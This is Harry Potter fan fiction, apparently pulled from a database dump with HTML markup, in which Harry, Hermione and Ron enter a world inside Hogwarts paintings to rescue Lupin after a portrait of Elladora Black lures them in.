<br/> <br/> "I still can\'t believe Malfoy is Head Boy. What was Dumbledore thinking?" Harry asked, flopping his head down onto a pillow. "He could have at least picked Ron."<br/> <br/> "I don\'t know what he was thinking, Harry. Maybe he hopes..."<br/> <br/> "Hopes he won\'t turn out like his father? I don\'t think there\'s much hope in that. And the thought of some girl wanting to do this with that git... makes me shudder," Harry said, giving an exaggerated shake. <br/> <br/> "Crabbe and Goyle then?" Hermione asked and they laughed again. <br/> <br/> "Thank you very much for putting that image in my head. Now I\'ll never get any sleep."<br/> <br/> "That\'s good because we really need to go find Ron. As much as I\'d like to hide away up here forever, we have to get up," Hermione said, pulling the sheets and blankets from off of Harry. He pulled them right back over him.<br/> <br/> "Do we have to?" Harry protested.<br/> <br/> "You were the one reminding me that we have to meet Ron just a minute ago."<br/> <br/> "I changed my mind."<br/> <br/> "This rescue mission was your idea, Harry. Are you changing your mind about that?" Hermione asked and Harry sighed. <br/> <br/> "No."<br/> <br/> "Not long ago, you would have run off already..."<br/> <br/> "Not long ago I had so much less to lose," Harry said thoughtfully. "But you\'re right. We can\'t leave Lupin there much longer. I have to figure out how to get him back."<br/> <br/> "We have to figure it out, Harry. And we will."<br/> <br/> ******************<br/> <br/> Harry and Hermione rushed down the corridor, Hermione reading as quickly as possible the Owl that they had just received from St. Mungo\'s in reply to one they sent out from Hogsmeade the other day. <br/> <br/> "Mrs. Rowntree is still incapacitated, Harry. They won\'t even forward a letter to her," Hermione said, her voice filled with disappointment. <br/> <br/> "She can\'t possibly be the only person who can answer our questions," Harry said. Due to the amount of homework he had to catch up on from when he was gone, they were going to be late for dinner. Hermione was helping him get through it all but the work seemed harder than ever. He was finding it hard to concentrate on his work when his mind was on so many other things. <br/> <br/> "You and I have both been through every book about the artwork here in Hogwarts. I have written to wizards who are experts in this field and they don\'t know. As far as they\'re concerned, that piece of art doesn\'t even exist and have no idea why it\'s even listed in that one book. Someone could have put it there. That\'s the problem with all this magic -- you never know what\'s real and what\'s not," Hermione said with a sigh. Harry pulled open the doors to the Great Hall and they were greeted with the boisterous noise of four houses all convening for dinner. <br/> <br/> "The good thing about magic is it can\'t be that hard to find out of it\'s real or not," Harry retorted and they made their way to the Gryffindor table, finding Ron and Ginny waving to them. <br/> <br/> "Where were you two? Never mind. I don\'t want to know," Ron said, rolling his eyes. <br/> <br/> "For your information, we were studying. Harry is still trying to catch up and since he doesn\'t seem to care about Potions anymore, it hasn\'t been easy," Hermione said, reaching for some pumpkin juice and pouring it in her cup. <br/> <br/> "I care. It\'s just I care about other things more," Harry said, serving himself some steak and kidney pie. They had filled Ginny in on their plans earlier and she was all ready to go in to get Lupin that very day. <br/> <br/> "When are we meeting again?" Ginny asked, her voice so low that she was hard to hear. They had been getting together in Hermione\'s room and so far no one had noticed. Hermione had spent hours placing various protection and silencing charms in her room in order to make it secure for their planning sessions. Harry was thankful his girlfriend was Head Girl for so many reasons. <br/> <br/> "Harry has more studying to do tonight," Hermione said.<br/> <br/> "And we have Quidditch practice tomorrow night," Ron added. <br/> <br/> "So I guess that means Thursday?" Ginny asked. <br/> <br/> "Thursday will work."<br/> <br/> "Same time?"<br/> <br/> "Yes, just try to be more stealthy about it this time, Ron. We don\'t want to alert all of Hogwarts that Hermione has the \'Rescue Lupin Club\' going on in her room," Harry said and Ron blushed and Ginny laughed. Hermione had instructed Ron on how to make it so the stairs to her room thought he was a girl but he forgot to use the proper spell before he headed up there. They all had to lie about why the alarm was blaring at midnight but after the noise stopped, most people just muttered something about going back to sleep, not even concerned about the cause. <br/> <br/> "How come the stairs never give you any trouble?" Ron asked Harry. <br/> <br/> "Oh, I made him a girl permanently," Hermione said with a big grin. Now Harry blushed and Ron laughed. <br/> <br/> "And here I thought you liked boys," Ginny said.<br/> <br/> Hermione shrugged her shoulders. "They\'re okay."<br/> <br/> "Hey!" Harry said, playfully punching Hermione on the arm. They all laughed and Harry looked at Hermione, enjoying her smile. So this is what normal is like, he thought. And he liked it even though he knew it couldn\'t last.<br/> <br/> **************<br/> <br/> Harry could barely keep his eyes open and he realized that he had been staring at the same page of his charms book for the past two hours. At least Professor McGonagall was being reasonable about the amount of time it would take for him to make up all his missed assignments unlike Professor Snape who wanted them done immediately. But it was still a lot of work trying to keep up with the present assignments and finish up the older ones. <br/> <br/> It was so late that even Hermione had already left him behind in the library to go to bed, having helped him as much as she could for one evening and also finish the large Arithmancy assignment she had due in the morning. <br/> <br/> Harry yawned and packed up his books, unsure of how he was going to stay awake long enough to get back to Gryffindor Tower. Madam Pince came out of nowhere to gather up the library books that were at his table, tutting about the fact that he had been using one of his quills as a bookmark. <br/> <br/> "I believe this is yours," she said.<br/> <br/> "Oh, right. Thank you," he said, taking it from her and putting it in his book bag. His hand brushed up against all the letters Hermione and he had received from more wizards and witches who were knowledgeable about art and he sighed. It was a big dead end. <br/> <br/> "Good night to you, Mr. Potter," Madam Pince said, nodding toward the door. Harry was the last student left in the library. <br/> <br/> "G\'night," he mumbled, leaving the library behind. He hadn\'t gone very far when he heard someone calling his name and he turned around, expecting it to be Madam Pince telling him he forgot something. Instead he found no one in the corridor with him. <br/> <br/> "Who\'s there?" he called out. <br/> <br/> "Over here, Harry. I\'m over here," he heard a voice say and it was vaguely familiar and he wasn\'t sure in a good or a bad way. Still looking around his eyes finally settled on a portrait in a shadowy recess. Something was motioning for him to come in that direction. <br/> <br/> He did, slowly pulling his wand out of his back pocket and holding it by his side. <br/> <br/> "What do you want?" Harry said, approaching cautiously. <br/> <br/> "Here I am. Don\'t you remember me, Harry?" the voice from the portrait asked and Harry got in close enough to see the face from his dreams lurking in the corner of a huge painting. "And put your wand away. You don\'t need that thing."<br/> <br/> "It\'s you!" he said, moving in even closer and putting his wand back into his pocket. "You\'re the girl who I met inside of... wherever I was. You\'re her."<br/> <br/> "So you do remember?" she asked quietly, looking behind her to see if she woke the old witch snoozing in the center of portrait. <br/> <br/> "Not much. I thought that was the idea," Harry said, drawn in by the girl\'s eyes. <br/> <br/> "That wasn\'t my idea. You have to believe me, Harry. I didn\'t want that to happen to you," she said, putting her hand out so it looked like she was reaching for him. <br/> <br/> "Lupin? How is Lupin... do you even know?" Harry asked and the expression on her face fell flat. <br/> <br/> "He needs you, Harry. We all do. You\'ve got to come back in," she said, pleading now. <br/> <br/> "I don\'t know how. I\'ve been trying to figure it out with Hermione and we don\'t know how to get back in," Harry said, no longer feeling tired. Instead, his heart was pounding hard in his chest. <br/> <br/> "Hermione?" she asked and Harry was puzzled. Surely he had told her about Hermione?<br/> <br/> "Yes, Hermione has been helping me along with Ron and Ginny," Harry said and now she looked very disappointed. He tried to shake the feeling that he had done something wrong but couldn\'t quite manage it. "How do I get back in?"<br/> <br/> "Come to the room with the painting... you know which one. Come there now and I\'ll get you in," she said and Harry took a step back. <br/> <br/> "I can\'t without Hermione. Let me go get her and I\'ll --"<br/> <br/> "No! You have to come now!" she demanded, frowning at him. <br/> <br/> "I won\'t go anywhere without telling Hermione first. I couldn\'t do that to her," Harry said and now the girl in the portrait was glowering at him. "I don\'t even know your name."<br/> <br/> "Ella."<br/> <br/> "Ella?"<br/> <br/> "Yes. You will have to hurry, Harry. I can\'t safely stay here much longer and opening that portal isn\'t that easy. You have to come now..."<br/> <br/> "Let me get Hermione and I\'ll be there," Harry said but the girl continued to scowl. "I\'ll have it no other way."<br/> <br/> "Fine! Get her. She might be of some use to us yet," Ella said, crossing her painted arms before her. <br/> <br/> "I\'ll be there. Don\'t you worry about that. I\'ll be there as soon as possible!" Harry said as he turned and ran down the corridor to find Hermione. <br/> <br/> *****************<br/> <br/> "How can you trust her? Do you even know who she is?" Hermione asked, tugging her robes on as Harry lead her down the stairs towards the common room. She was struggling with her robes and her bag of books she insisted on bringing along and Harry wished she would move faster.<br/> <br/> "She said her name is... Ellie? Ella? I don\'t remember what she said but she\'s the one," Harry said and Hermione fell silent as she came to a stop. <br/> <br/> "We have to tell Ron --"<br/> <br/> "I don\'t know if there\'s time, Hermione," Harry said.<br/> <br/> "Don\'t you ever learn! We\'re going to tell someone what\'s happening. Ginny and Ron have been in on this for days now and we have to tell them. Ron should come with us -- we could use his help once we get there. Ginny can stay here and if something goes wrong, she can get help," Hermione said and Harry stopped pulling her along. <br/> <br/> "Fine. I\'ll get Ron and you get Ginny. Meet in the common room in five minutes," Harry said, heading in the direction of the his dormitory. A while ago he had every intention of returning here to sleep but now he knew that wasn\'t going to happen tonight. <br/> <br/> He shook his friend and then placed his hand over Ron\'s mouth before he could cry out or wake anyone else. "Ron, it\'s me," Harry said quietly. <br/> <br/> "What do you want? What time is?" Ron muttered.<br/> <br/> "You have to get up and get dressed. We have an opportunity to rescue Lupin and we have to take it now," Harry said and Ron blinked with confusion. <br/> <br/> "Are we ready for that? I mean, what about the plans?" Ron asked and Harry rolled his eyes. He didn\'t need another Hermione at the moment.<br/> <br/> "We don\'t have a choice! Lupin has been in there long enough. Hurry!" Harry said, throwing Ron\'s clothes onto the bed and pulling out his hand me down robes and thrusting them in his direction. "Don\'t forget your wand and bring your broom just in case. I\'ll meet you in the common room."<br/> <br/> Harry grabbed his Firebolt and the invisibility cloak and rushed down the stairs to find Hermione in a rather heated discussion with Ginny. <br/> <br/> "I\'m not staying behind," Ginny said, her arms crossed over her chest defiantly. <br/> <br/> "You have to," Harry said before Hermione could get another word out. "If something happens to us, you\'ll be the only one to know where we\'ve gone. We need you, Ginny."<br/> <br/> "Why don\'t you wake up Neville and tell him. He can stay here and then I can go --"<br/> <br/> "If we wake up Neville, then he\'ll want to go, too. I don\'t even know if Ron will be able to come along. If not, the two of you can --"<br/> <br/> "I bloody better be able to go with!" Ron said as he entered the deserted common room, his broom in hand. "If this is like any of our other so called rescue missions, you\'re going to need all the help you can get."<br/> <br/> "That\'s what I\'ve been trying to tell them but they won\'t let me go with," Ginny said forcefully.<br/> <br/> "I already explained it to you, Ginny. Someone has to stay here in case we don\'t come back. Here is everything Harry and I learned about the spell to get into the portal," Hermione said, handing Ginny one tiny scroll that barely had anything on it. <br/> <br/> "But don\'t you use that to follow us," Ron said, taking it from his sister\'s hand and looking it over. His brow furrowed. "Not that this will be of much use."<br/> <br/> "I still don\'t understand --" Ginny started to say but one look from Ron let her know it was a losing argument for now. "How long should I give you?"<br/> <br/> "I\'m assuming if this Ellie-Ella person can get us in, she can get us out?" Hermione asked and Harry shrugged. He had no idea what the girl from the painting could and could not do because he couldn\'t remember her. Hermione sighed and went on. "It shouldn\'t take that long."<br/> <br/> "Who do you want me to go to?" Ginny asked. No one said a word as they all thought about it. No matter who Ginny told, they would be in trouble. <br/> <br/> "Talk to Hagrid first. He\'ll know what to do," Ron finally suggested. <br/> <br/> "Right. Hagrid," Harry said, unsure of whether anyone would really know what to do. <br/> <br/> "I\'m going with you--" Ginny started to say but didn\'t get the chance to finish her sentence. <br/> <br/> "No!" three voices said at once. <br/> <br/> "What I was going to say is I\'m going with you to wherever it is you\'re supposed to go so I know what\'s happening. No need to shout at me," Ginny said and Harry and the others looked rather sheepish. <br/> <br/> "We better go before we lose this opportunity," Harry said and they all looked nervously at each other before he unfolded the invisibility cloak with a flourish and the four friends huddled in close. No one spoke as they made their way through the portrait hole and down the stairs except for when Ron stepped on Ginny\'s toes and she punched him in the arm. Hermione hushed them and Harry looked around to make sure they didn\'t attract the attention of Mrs. Norris. <br/> <br/> They slipped into the room and shed the cloak, Ginny quickly telling Ron off for her injured foot. <br/> <br/> "Shush! We can still be heard in here!" Harry said and they fell silent. He walked cautiously, broom in one hand and invisibility cloak over his other arm, to the painting, waiting to be stopped by the barrier that had been in place just a few days earlier. It was no longer there. He reached out to the touch the canvas but Hermione pulled him back. <br/> <br/> "Harry, wait. Don\'t you think we should consider this more carefully? How much do you really know about this girl from the painting?" Hermione asked and now Harry\'s cautiousness was replaced by frustration. <br/> <br/> "Not much but I know she was in there with me the whole time. I don\'t know how, but I know she helped me. I can\'t explain it," Harry said and Ron cocked an eyebrow at him. <br/> <br/> "I don\'t want to walk into a trap no one can get us out of," he said and Harry nodded. <br/> <br/> "We\'ve come quite far in our abilities since then. We know what we might be getting into. I don\'t think it will be the same," Harry said and Ginny crossed her arms and made a \'tsking\' sound. "What?"<br/> <br/> "A rescue mission for someone who may or may not need rescuing where you\'re going into a place you vaguely remember. How do you remember it, Harry? From your dreams? I don\'t know about you but this is becoming rather familiar," Ginny said and Harry opened his mouth to protest but Hermione gave him a gentle push. <br/> <br/> "Either we\'re doing this now or we\'re all walking away," Ron said and he and Ginny began to argue about the intelligence of taking on this mission. <br/> <br/> "You\'re just upset we won\'t let you go!" he said to his sister and she bantered right back with him. Hermione used this opportunity to pull Harry aside. <br/> <br/> "Are you sure?" she asked him, holding his free hand in hers. <br/> <br/> "I have to do something. She said to meet in here and she\'d help. Lupin has done so much for us and we can\'t just leave him there," Harry said softly to her while Ron and Ginny bickered on. <br/> <br/> "I understand you mean well..."<br/> <br/> "You don\'t have to go if you don\'t want to. I\'ll understand, Hermione. I know that school is important to you and you have your studies and you don\'t have to do this just because you\'re my girlfriend now," Harry said.<br/> <br/> "There\'s no way you\'re going on your own!" Hermione said rather loudly. It stopped Ron and Ginny\'s argument for a moment but then they started again. <br/> <br/> "Ron will go with. I won\'t be on my own," Harry said and Hermione narrowed her eyes at him. <br/> <br/> "What I mean is I\'m not letting you out of my sight again. I won\'t do it. Wherever you go, I\'ll follow," she said and Harry fought the urge to kiss her hard on the lips right then and there. Before he had a chance, he heard Ron calling for him. <br/> <br/> "You tell her, Harry. Someone has to stay behind if for no other reason than to be Quidditch captain. Tell her she can be the team captain," Ron said, pleading now and pointing the end of his broomstick at his sister.<br/> <br/> "You just don\'t want me to have any fun," Ginny said with a pout.<br/> <br/> "No, I don\'t want you to get killed. Mum would never forgive me if her one and only daughter died while in my care" Ron said. <br/> <br/> "Ginny, you have to stay behind. We need you here," Harry said, taking matters into his own hands. Before he had the chance to tell her that she could indeed be Quidditch captain if that\'s what it took to make her stay behind, he heard a familiar voice coming from the painting. <br/> <br/> "Who are all these people, Harry? I thought you said you were just bringing... what\'s her name again?"<br/> <br/> They all turned to face the ugly brown piece of art and Harry expected to see the girl standing there inside the frame but there was no one. <br/> <br/> "Ellie?" he asked, walking closer to it. Hermione grasped his hand and wouldn\'t let go. <br/> <br/> "It\'s Ella. I told you that already," she said, a pout discernible in her voice. <br/> <br/> "I\'m sorry, Ella," Harry said, moving even closer though Hermione was pulling against him now. He gave her a tug until she was standing by his side. "This is Hermione."<br/> <br/> Hermione waved at nothing considering there was no visible person in the painting and now Ron stepped up until he was standing beside them, leaving Ginny sulking in her spot. <br/> <br/> "I\'m Ron," Ron said and he nodded his head in the direction of his sister. "And this is Ginny. She\'s mad that Harry won\'t let her come with."<br/> <br/> "Don\'t blame Harry," Ginny said and with that, they all waited for a reply. <br/> <br/> "You said you were just bringing Herm-inn-enone," the voice said. <br/> <br/> "Hermione," Hermione clarified but the voice didn\'t repeat it again. "Does it matter who comes with? It\'s our friend we\'re trying to save."<br/> <br/> "It doesn\'t matter to me," Ella said and Harry waited for her to step into view but she didn\'t. His stomach was being to churn with anticipation and worry. This painting was like the one at the Muggle library -- the one who took him away from Hermione. At least this time, she would be going with him. <br/> <br/> "What do we have to do, Ella?" Harry asked, trying hard to remember how this worked the last time. <br/> <br/> "I already did the hard part for you and removed that barrier. If that\'s the best the people teaching here now can come up with, I feel sorry for the lot of you," she said. <br/> <br/> "She\'s not haughty at all, is she?" Hermione whispered into Harry\'s ear and he shrugged his shoulders. <br/> <br/> "What do we do next?" he asked. <br/> <br/> "Touch the canvas," she said and now it grew even more familiar to Harry. Drew pushed him and he touched the painting and that\'s what started it all. Harry reached out but before he could get near the canvas, Ella stopped him. "I would suggest you all hold hands or figure out how to touch the painting at the exact same moment."<br/> <br/> Harry was still holding onto Hermione\'s hand and Ron wiped his hand on his robes before he took Hermione\'s other hand. <br/> <br/> "Ginny, if we aren\'t back in a few days, you know what to do, right?" Harry asked and Ginny nodded, looking rather disappointed to be left behind. "Now what?"<br/> <br/> "Touch the painting."<br/> <br/> Harry handed his broom to Ron, who fumbled around with two broomsticks before clasping them securely against his body. With that, Harry took a step toward the painting and touched it. A bolt of energy surged through his body and down his other arm to where he was holding Hermione\'s hand -- so much energy that it was hard to hold on tight but there was no way he was letting go. Then it felt like they were being pulled into a vortex. It was so much stronger than anything he remembered and somehow he knew it hadn\'t been like this the last time this happened. He could feel Hermione\'s fingernails digging into his palm as she struggled to hold on and then he heard her shout out but he didn\'t know what for. Then, when he was sure he could hold on no longer, they landed somewhere horribly bright.<br/> <br/> "I remember," was all he said as he struggled to look around, his eyes not adjusting to the all the light. He moaned loudly and shaded his eyes, waiting for the pain to come but it didn\'t. "Hermione... Ron... I remember. Oh... no..."<br/> <br/> ****************<br/> <br/> To Be Continued<br/> <br/> <br/> <br/> </p>'),
	(18, 11, '<i>Harry Potter and the Infernal Plan Part XI<br>by Jori<br><br>Set during their sixth and seventh years at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br><br>Mature Situations though not in this part.<br><br>Spoilers for all five books. Previous parts edited for Order of the Phoenix but some of the ideas brought up in that book couldn\'t be fully added into this story. <br><br>This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n\n<br> Please forgive the long delay in posting this next part. I had most of it written but could never get back to it. In the past year, I had to find a house and move in a period of two months during which three hurricanes passed through. I moved. Husband couldn\'t find a job here so he stayed there. Child started new school. Things got crazy with the holidays. My husband got very sick and lost his job but only after going to the hospital for a while. The MPAA decided to send me a nice C&amp;D letter for using their rating system. Husband still didn\'t find new job and mortgage situation got more desperate on a house I have barely owned. Husband still sick. Oh, I\'m sure there\'s more. Like totaling the car and little things like that. So it was a bad year. I didn\'t write much. And I apologize to you for that.</i>\n\n<br><br>***********<br><br> &quot;I remember,&quot; Harry said as he struggled to get his bearings. The blazing light nearly blinded him and there was no escape from it. He shaded his eyes and waited for the intense pain he had felt the last time he had been here to hit him in his gut but it didn\'t. It was then that he felt Hermione double over beside him, moaning loudly. <br>\n\n<br> &quot;Harry, what\'s happening?&quot; Hermione asked in a feeble voice. <br>\n\n<br> &quot;I can\'t tell you everything now. We have to move. We have to go now!&quot; Harry said, still clutching Hermione\'s hand tightly. &quot;I know you feel sick but we have to move. Er... Hermione? Where\'s Ron? What happened to Ron?&quot;<br>\n\n<br> &quot;I couldn\'t hold on, Harry. He slipped away from me,&quot; Hermione said pulling her hand from Harry\'s. She stared at her fingertips as if that would bring Ron back to them but a wave of sickness passed over her and she had to clutch her stomach. Harry sank to his knees beside her and watched his girlfriend get sick. He fought the urge to turn away but instead helped her tuck her hair out of the way as the sickness rolled over her again and again.<br>\n\n<br> &quot;We have to get out of here, Hermione. We have to run,&quot; he said, looking away from her and trying to make anything out in the light. <br>\n\n<br> &quot;But what about Ron? Is he nearby?&quot; Hermione asked. Harry couldn\'t see his friend anywhere. <br>\n\n<br> &quot;I don\'t see him. Can you get up?&quot;<br>\n\n<br> &quot;I can\'t. I can\'t move,&quot; she said, turning to look at him. Tears were streaming down her face and he did his best to wipe them away. He still had his invisibility cloak with him and he hoped that it worked in here because they were going to need it if Hermione didn\'t start feeling better quickly. &quot;Why aren\'t you sick?&quot; <br>\n\n<br> &quot;I haven\'t a clue. Maybe because I was here for so long already. I felt just like you did my first time here,&quot; Harry said, looking around to see if they were still alone. There was no one around but he knew that wouldn\'t last for long. Ella would be back and Harry worried about who she might bring with her. &quot;Did Ron slip away when we were still in that vortex or after?&quot;<br>\n\n<br> &quot;I don\'t know,&quot; Hermione answered and now the tears started up again. &quot;I tried to hold on, Harry. It was like he was sucked away from me.&quot;<br>\n\n<br> &quot;We\'ll find him but right now, we have to go,&quot; Harry said and Hermione started to protest again. &quot;I\'ll carry you if I have to. I\'ve done it before.&quot;<br>\n\n<br> &quot;You can\'t get very far with me,&quot; Hermione said. Harry was still searching the area but no longer for Ron. He needed to be able to get her somewhere safe until the sickness passed. <br>\n\n<br> &quot;I could carry you forever if I had to,&quot; Harry said, smoothing Hermione\'s hair away from her face. She looked horrible and he was sorry he had dragged her into this. If he had only remembered. There was no use in worrying about that now. What was done was done. He picked her up as gently as he could and she wrapped her arms around his neck, her face pressed to his chest as she held on tight. He faltered a little but managed to get them both under the invisibility cloak before stumbling in the direction of a thick forest.<br>\n\n<br> &quot;Where are we?&quot; Hermione asked and Harry shook his head. <br>\n\n<br> &quot;Don\'t know.&quot; He really had no idea where they might be. All the paintings fit together seamlessly without being divided by frames like from the outside. It was an amazing world but still an unrecognizable one to him. He did know that without any warning, they could slip into another painting and it might not be as agreeable as this one.<br>\n\n<br> &quot;Where are we going?&quot; she asked, struggling to turn her head in the direction Harry was moving. <br>\n\n<br> &quot;We have to get away from here so we can figure out what to do. It\'s going to be a while before your stomach feels better and I need to think about how we\'re going to find Ron and Lupin,&quot; Harry said, not telling her the entire story yet. She was going through enough already. <br>\n\n<br> &quot;Put me down! You have to put me down now!&quot; Hermione said, pushing out of his arms. They both toppled to the ground and she was sick again. At least when they were surrounded by the trees, the light was cut in half and he could see. Too bad the only things to see were Hermione vomiting and more oily, painted trees. <br>\n\n<br> &quot;Are you okay?&quot; Harry asked after she stopped. She came to sit beside him against a tree and he pulled the cloak over them again. She was shivering, her body shaking beside his, and guilt began to overwhelm him. <br>\n\n<br> &quot;Not really,&quot; she said, wiping her mouth with the back of her hand. She smelled horrible but Harry knew it wasn\'t her fault. No, this was entirely his fault. If only he had remembered any of this before they went leaping through the painting. If only he thought things through before taking action. <br>\n\n<br> &quot;We can rest for a few minutes but we have to move again soon,&quot; Harry said, pulling Hermione to his side. He could feel how exhausted she was as she fell limp against him. <br>\n\n<br> &quot;What are we running from?&quot; Hermione asked, her voice raspy now. <br>\n\n<br> &quot;We\'re running from people like Elladora Black,&quot; Harry said and it took a minute for Hermione to recognize the name. <br>\n\n<br> &quot;Ella... the girl in your dreams... is part of the Black family?&quot; Hermione asked. <br>\n\n<br> &quot;Elladora Black. Remember all the house elf heads hanging on the wall at Grimmauld Place?&quot; Harry asked. Hermione\'s eyes grew wide and her mouth dropped open. &quot;Elladora Black started that tradition. That girl... the girl I\'ve been seeing in my dreams and who told me to come back here is a portrait from when she was young.&quot;<br>\n\n<br> &quot;And you didn\'t remember this from the first time you were here?&quot; Hermione asked in disbelief. <br>\n\n<br> &quot;No,&quot; Harry said angrily, frustrated with himself to no end. &quot;It gets worse.&quot;<br>\n\n<br> Hermione closed her eyes, shaking her head. &quot;How is that possible? Ron\'s gone and you\'re carrying me through a forest while I can\'t stop ... ugh...&quot;<br>\n\n<br> &quot;You think Elladora is the only one with a portrait?&quot; Harry asked. <br>\n\n<br> &quot;But, Harry, they\'re just that... just portraits. How can they hurt us?&quot; Hermione asked. <br>\n\n<br> &quot;Do you think we\'re the only humans in here?&quot; <br>\n\n<br> &quot;You mean there are more people here besides Lupin and Ron? Why?&quot; Hermione asked, narrowing her eyes and trying to think it through. Harry didn\'t have to answer before she came to the reason herself. &quot;To trap you.&quot;<br>\n\n<br> &quot;That\'s why Lupin got me out. He stayed behind to make sure they stayed in here and... and... bloody hell! What have I done?&quot; Harry asked in anger. Hermione placed her hand on his arm and leaned closer to him. <br>\n\n<br> &quot;You did what you always do, Harry. You tried to help a friend,&quot; she said. <br>\n\n<br> &quot;I always have to be the hero,&quot; he said softly, remembering a time not that long ago. &quot;I always have to run off and save someone.&quot;<br>\n\n<br> &quot;Maybe I was wrong. Maybe it has nothing to do with being a hero. Maybe it just has to do with how much you love people. I know that now that we\'re... you know what I mean. Anyway...&quot; Hermione said, her voice trailing off. <br>\n\n<br> Harry expected a big lecture from her about how they should have planned this more carefully but the lecture never came. Instead, she curled up in his arms and she began to fall asleep. He should rouse her and they should keep moving but in the state she was in, they\'d never make it far. They\'d have to set out when she was feeling better. <br>\n\n<br> ***************<br>\n\n<br> Harry struggled to stay awake. Hermione was sleeping restlessly with her head on his lap and he smoothed his hand over her hair, trying to comfort her whenever she moaned out and held onto her stomach. He fought off sleeping for as long as he could, his wand ready at his side in case someone found them, but soon his eyes couldn\'t take it anymore. He was exhausted and dreams swept over him and pulled him under...<br>\n\n<br> He was painting and Dudley kept making fun of his work. No matter how realistic it looked, his cousin still mocked him, telling him he\'d never escape. Harry smashed up painting after painting but he couldn\'t get away from his cousin\'s laughter. <br>\n\n<br> Harry painted a world of scarlet and gold; a world of warm fires and comfortable chairs. Dudley kept up the taunting and finally, when the painting was finished, Harry said the right words and disappeared into his perfect world. There, no one would laugh at him...<br>\n\n<br> Except, someone was laughing.<br>\n\n<br> &quot;What is it, Harry?&quot; Hermione asked, stirring him from his sleep. &quot;Sounds like a hyena... or a Northern Muldavian Mockfly.&quot;<br>\n\n<br> &quot;A what?&quot; Harry asked, sitting up straight and holding his wand tight in his fingers. <br>\n\n<br> &quot;I invented it years ago. When I was seven, I painted one and Mum hung it up. I assume that\'s how this works? Someone paints something and it can show up here?&quot; Hermione asked. <br>\n\n<br> &quot;So, would you rather face a mockfly or a hyena?&quot; Harry asked. Whatever made the noise was silent now and that worried Harry more. At least when he could hear it, he knew where it was. <br>\n\n<br> &quot;Mockflies were two meters high and had fangs. I hope there aren\'t any in here,&quot; Hermione said. <br>\n\n<br> &quot;So do I.&quot; <br>\n\n<br> They both listened for more sounds but this world was unnaturally quiet. There was no wind moving through the trees and the sky above them was seemingly endless. Harry remembered being in a forest the first time he was here but how would he ever know if this was the same forest? <br>\n\n<br> &quot;The people in the portraits can move around with relative ease and speed. There must be some path behind the... walls? The frames? There must be a path that allows it to happen,&quot; Hermione said and Harry could sense that she was trying to work this out. <br>\n\n<br> &quot;There are paths and they can pop in and out at will. Humans need to find a portal and hope it\'s opened,&quot; Harry said and Hermione nodded, still thinking. <br>\n\n<br> &quot;Obviously, Lupin knew how to do that or he figured out how to do that and he got you back to Hogwarts. Don\'t you remember how, Harry?&quot; <br>\n\n<br> Harry thought about it, but as much as he now remembered, the exact words that opened up their way out were lost to him. Or else he couldn\'t remember something he never knew. <br>\n\n<br> &quot;We need to find Lupin,&quot; Harry said, and Hermione agreed. &quot;Can you walk now? Are you feeling better?&quot;<br>\n\n<br> &quot;I think I can. I really could use some water?&quot; Hermione asked, rubbing her throat. Her voice was more hoarse than before.<br>\n\n<br> &quot;We\'ll have to conjure up something to drink as soon as we can stop longer,&quot; Harry said, the invisibility cloak slipping from him when he stood up. It puddled onto Hermione\'s lap and she closed her eyes momentarily and took a deep breath. Harry put out his hand to her and she took it, struggling to her feet. He picked up the cloak and covered them up. It wasn\'t going to be easy to move around like this but he didn\'t want to risk being seen by the wrong people. People who might know exactly where the portal from Hogwarts would bring him. <br>\n\n<br> &quot;Do you know how big this place is?&quot; Hermione asked. <br>\n\n<br> &quot;No.&quot;<br>\n\n<br> &quot;Any idea in which direction we might find Lupin?&quot; <br>\n\n<br> &quot;No.&quot;<br>\n\n<br> &quot;So, we\'re going to wander around blindly until we stumble into something... or someone?&quot; Hermione asked and now Harry knew that the lecture was coming for sure. All he could do was ride it out. <br>\n\n<br> *************<br>\n\n<br> The forest seemed to be endless... or else they were walking in circles. He was sure he had seen the tree-covered hill they were approaching once or twice before but Hermione was positive that it was the first time they had come upon it. <br>\n\n<br> &quot;Perhaps if we go to the top of it, we\'ll be able to see further,&quot; Hermione suggested halfheartedly. They were both growing tired and finally gave up trying to stay under the invisibility cloak, emerging covered in sweat. Harry smiled at the memory of things they had done under this cloak but the thought was fleeting. That world -- the real world -- seemed so far away now. And so much smaller than this one. <br>\n\n<br> &quot;Will you be able to make it?&quot; Harry asked. <br>\n\n<br> &quot;If we take a break at the top, I should be able to. I\'ll conjure up a drink as soon as we stop,&quot; Hermione said, taking in a deep breath as they walked onwards. <br>\n\n<br> Water sounded good. They hadn\'t even passed any painted, oily water since they got here. The artist who made this part of the painting certainly lacked imagination or else couldn\'t paint water. Just trees. More and more trees. <br>\n\n<br> Hermione babbled on about one theory and then the next as they climbed, her mind racing though all the ways this world could be opened up again. Her voice was nearly gone when they reached the top and she had just begun talking about where they should begin looking for Ron. <br>\n\n<br> &quot;He could be at Hogwarts for all we know, Hermione,&quot; Harry said, stopping now to look over the vast landscape. She gasped, turning around to look at everything from all directions. <br>\n\n<br> &quot;Naturally, we would assume that this world would curve like our own. The horizon would fade off and disappear and we\'d never catch up to it. We could keep walking and walking but here... it\'s flat,&quot; Hermione said. &quot;Do you know what kind of essay I could turn in about this place? Never mind that. We could map this place and study it. We could--&quot;<br>\n\n<br> &quot;Get caught by Voldemort and murdered where we\'re standing,&quot; Harry added and she stopped talking. They hadn\'t mentioned it before but Harry wouldn\'t be surprised if he was somehow behind this. If this wasn\'t his planning, then he surely knew by now about Harry\'s first trip into here. He would have been an easy target and now he was back and he had brought another target with him. He couldn\'t believe how stupid he was. <br>\n\n<br> &quot;What\'s that over there?&quot; she asked after they looked around in silence for several minutes. Off in the distance, an inky curl of smoke made its way toward the endless sky. If he squinted and blocked the light from his eyes, Harry could make out a small village. <br>\n\n<br> &quot;We can go in that direction and see if we can find a place to rest until you\'re feeling better. We can\'t stay in one place too long, though,&quot; Harry said, taking Hermione\'s hand and helping her down the sloping hill. <br>\n\n<br> &quot;How do we get to another painting? So far, we\'ve been inside this one the whole time we\'ve been here. Where is the next one?&quot; Hermione asked. <br>\n\n<br> &quot;It will just happen. You\'ll take a step and all of a sudden, there you are. That\'s one of the reasons this would be impossible to map,&quot; Harry said as they wove their way through the trees. <br>\n\n<br> &quot;Not impossible, just difficult. Nothing is impossible, Harry.&quot;<br>\n\n<br> &quot;Passing Potions this year after all that classes I\'ve missed.... that\'s impossible,&quot; Harry said and for the first time in hours, he heard Hermione laugh a little. 